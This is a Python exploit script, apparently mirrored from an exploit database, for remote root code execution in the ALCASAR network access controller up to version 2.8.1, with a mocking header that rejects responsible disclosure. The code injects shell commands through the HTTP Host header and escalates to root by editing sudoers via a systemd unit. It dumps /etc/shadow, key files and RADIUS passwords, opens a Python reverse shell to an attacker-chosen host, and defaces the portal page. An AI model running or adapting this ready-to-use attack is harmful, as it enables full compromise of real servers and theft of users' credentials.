#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
####
#
# ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability
#
# Author: eF
# Date : 2014-09-12
# URL : http://www.alcasar.net/
#
# This is not a responsible disclosure coz' I have no sense of ethics and I don't give a f*ck.
#
# db 88 ,ad8888ba, db ad88888ba db 88888888ba
# d88b 88 d8"' `"8b d88b d8" "8b d88b 88 "8b
# d8'`8b 88 d8' d8'`8b Y8, d8'`8b 88 ,8P
# d8' `8b 88 88 d8' `8b `Y8aaaaa, d8' `8b 88aaaaaa8P'
# d8YaaaaY8b 88 88 d8YaaaaY8b `"""""8b, d8YaaaaY8b 88""""88'
# d8""""""""8b 88 Y8, d8""""""""8b `8b d8""""""""8b 88 `8b
# d8' `8b 88 Y8a. .a8P d8' `8b Y8a a8P d8' `8b 88 `8b
# d8' `8b 88888888888 `"Y8888Y"' d8' `8b "Y88888P" d8' `8b 88 `8b
#
#
# ALCASAR is a free Network Access Controller which controls the Internet consultation networks.
# It authenticates, attributes and protects users' access regardless their connected equipment
# (PC, smartphone, game console, etc.).
#
# I recently released an exploit for ALCASAR 2.8 (ALCASAR <= 2.8 Remote Code Execution Vulnerability Root).
# As a reminder, it was a trivial code execution via a unfiltered exec() call:
#
# $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']);
# exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output);
#
# A few days later, a new version corrects the vulnerability. Or maybe not...
#
# At first, this is how ALCASAR's developers present the previous vulnerability:
#
# " A security hole has been discovered on ALCASAR V2.8 (only this version). This vulnerability allows a user "
# " connected on the LAN to retrieve a lot of data from the server. The ALCASAR team is testing few security "
# " patches. A script that you could run on the active servers will be available on this forum ASAP. At that "
# " time, the download version of ALCASAR will be incremented (V2.8.1) "
#
# ?!? This vulnerability allows a user connected on the LAN to *TOTALLY PWN* the server:
# Get a root shell, stop all services, sniff all connections, inject data in users' sessions, sniff passwords,
# bypass firewall rules, act as another user, etc.
# This is not just a matter of "retrieving a lot of data from the server".
#
# Not to alert users of real criticality of a vulnerability is a very serious lack of security.
# Lying by saying that the vulnerability only affects version 2.8 while it also affects version 2.7 is another
# one.
#
# Now, the patch itself: it tries to correct the vulnerability by filtering the vulnerable input:
#
# $pattern = filter_var($pattern, FILTER_VALIDATE_URL) == false ? "" : $pattern;
#
# WTF?!
# First, I think that the application no longer works. By default, filter_var() is going to accept an URL
# only if its scheme is valid:
#
# $ php -r 'var_dump(filter_var("www.google.com", FILTER_VALIDATE_URL));'
# bool(false)
# $ php -r 'var_dump(filter_var("http://www.google.com", FILTER_VALIDATE_URL));'
# string(21) "http://www.google.com"
#
# But... we cannot put http:// in the HTTP host field, the HTTP server won't let us...
# Dev, did you try your patch?
# Instead, to execute code, it's quite easy to bypass this filtering using "mailto:[email protected];cmd;"
# Service down, vulnerability still present: double fail.
#
# The privilege escalation in the previous exploit was using openssl, to gain reading and writing rights
# as root.
#
# The patch therefore removes openssl in the sudoers file (without changing the legitimate
# calls in the PHP code...). So let's use another method: systemctl is still callable via sudo...
#
# We can create a service with our command and start it as root:
#
# sudo systemctl link /tmp/pwn3d.service
# sudo systemctl start pwn3d.service
#
# Conclusion: triple fail.
#
# Wouldn't a "responsable de la sécurité des systèmes d'information d'un grand commandement" need a
# little training on secure PHP development?
#
# On ALCASAR website:
#
# "The security of the portal has been worked out like a bastion in order to resist to different
# kinds of threat"
#
# LOLZ!!! Remote Root Code Execution does not seem to be part of these "different kinds of threat".
#
# ALCASAR is not built with security in mind. Apache user can sudo, there is no chroot, no separation,
# the PHP code is dreadful, some passwords are unnecessarily stored in plaintext, the function to
# generate user password is weak, there are no system updates (kernel is out to date, from Jul 4 2013),
# etc.
#
# Development is not really open either: there is no bugtracker, no trac, no way to see what has been
# patched, etc. If the elementary rules of open source development had been met, a user could have
# prevented this 2.8.1 patch from being crap.
#
#
####
import sys, os, re, httplib
class PWN_Alcasar:
def __init__(self, host):
self.host = host
self.root = False
def exec_cmd(self, cmd, output=False):
tag = os.urandom(4).encode('hex')
cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"')
if self.root:
cmd = 'sudo %s' % cmd
wrapper = 'echo %s;echo %s|base64 -d -w0|sh|base64 -w0' % (tag, cmd.encode('base64').replace('\n',''))
wrapper = wrapper.replace(' ', '${IFS}')
headers = {
'host' : 'mailto:[email protected];%s;#' % wrapper
}
c = httplib.HTTPConnection(self.host)
c.request('GET', '/index.php', '', headers)
r = c.getresponse()
data = r.read()
c.close()
m = re.search(r'%s, (.*)\s</div>' % tag, data)
if m:
data = m.group(1).decode('base64')
if output:
print data
return data
return None
def read_file(self, filepath, output=True):
return self.exec_cmd('cat "%s"' % filepath, output=output)
def read_passwords(self):
self.read_file('/root/ALCASAR-passwords.txt')
self.read_file('/etc/shadow')
self.read_file('/usr/local/etc/digest/key_all')
self.read_file('/usr/local/etc/digest/key_admin')
self.read_file('/usr/local/etc/digest/key_backup')
self.read_file('/usr/local/etc/digest/key_manager')
self.read_file('/usr/local/etc/digest/key_only_admin')
self.read_file('/usr/local/etc/digest/key_only_backup')
self.read_file('/usr/local/etc/digest/key_only_manager')
alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False)
if alcasar_mysql:
m = re.search(r'radiuspwd="(.*)"', alcasar_mysql)
if m:
radiuspwd = m.group(1)
sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\''
self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True)
def edit_sudoers(self):
service = '[Unit]\n'
service += 'Description=Just another ALCASAR lolcalr00t\n\n'
service += '[Service]\n'
service += 'Type=forking\n'
service += 'KillMode=process\n'
service += 'ExecStart=/bin/sh -c "sed -i s/BL,NF/BL,ALL,NF/g /etc/sudoers"\n'
self.exec_cmd('echo %s | openssl base64 -d -out /tmp/Pwn3d.service -A' % service.encode('base64').replace('\n', ''))
self.exec_cmd('sudo systemctl link /tmp/Pwn3d.service')
self.exec_cmd('sudo systemctl start Pwn3d.service')
if exploit.exec_cmd('sudo id').find('uid=0') != -1:
self.root = True
def reverse_shell(self, rip, rport='80'):
payload = 'import socket,subprocess,os;'
payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
payload += 's.connect((\'%s\',%s));' % (rip, rport)
payload += 'os.dup2(s.fileno(),0);'
payload += 'os.dup2(s.fileno(),1);'
payload += 'os.dup2(s.fileno(),2);'
payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);'
return self.exec_cmd('python -c "%s"' % payload)
def lolz(self):
old = 'http://www.wikipedia.org'
new = 'https://www.youtube.com/watch\?v=Q-J0f1yF75Y'
self.exec_cmd('sed -i s,%s,%s,g /var/www/html/index.php' % (old, new), True)
def usage():
print 'Usage: %s host command (ip) (port)' % sys.argv[0]
print ' "command" can be a shell command or "reverseshell"'
sys.exit(0)
if __name__ == '__main__':
print '#' * 80
print '# ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability'
print '# Author: eF'
print '#' * 80
if len(sys.argv) < 3:
usage()
cmd = sys.argv[2]
if cmd == 'reverseshell':
if len(sys.argv) < 5:
print '[!] Need IP and port for the reverse shell...'
sys.exit(0)
rip = sys.argv[3]
rport = sys.argv[4]
exploit = PWN_Alcasar(sys.argv[1])
print '[-] whoami (should be apache):'
exploit.exec_cmd('id', output=True)
print '[+] On the way to the uid 0...'
exploit.edit_sudoers()
print '[-] Got root?'
exploit.exec_cmd('id', output=True)
exploit.lolz()
if exploit.root:
print '[+] Here are some passwords for you (again):'
exploit.read_passwords()
if cmd == 'reverseshell':
print '[+] You should now have a shell on %s:%s' % (rip, rport)
exploit.reverse_shell(rip, rport)
else:
print '[+] Your command Sir:'
exploit.exec_cmd(cmd, output=True)
sys.exit(1)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation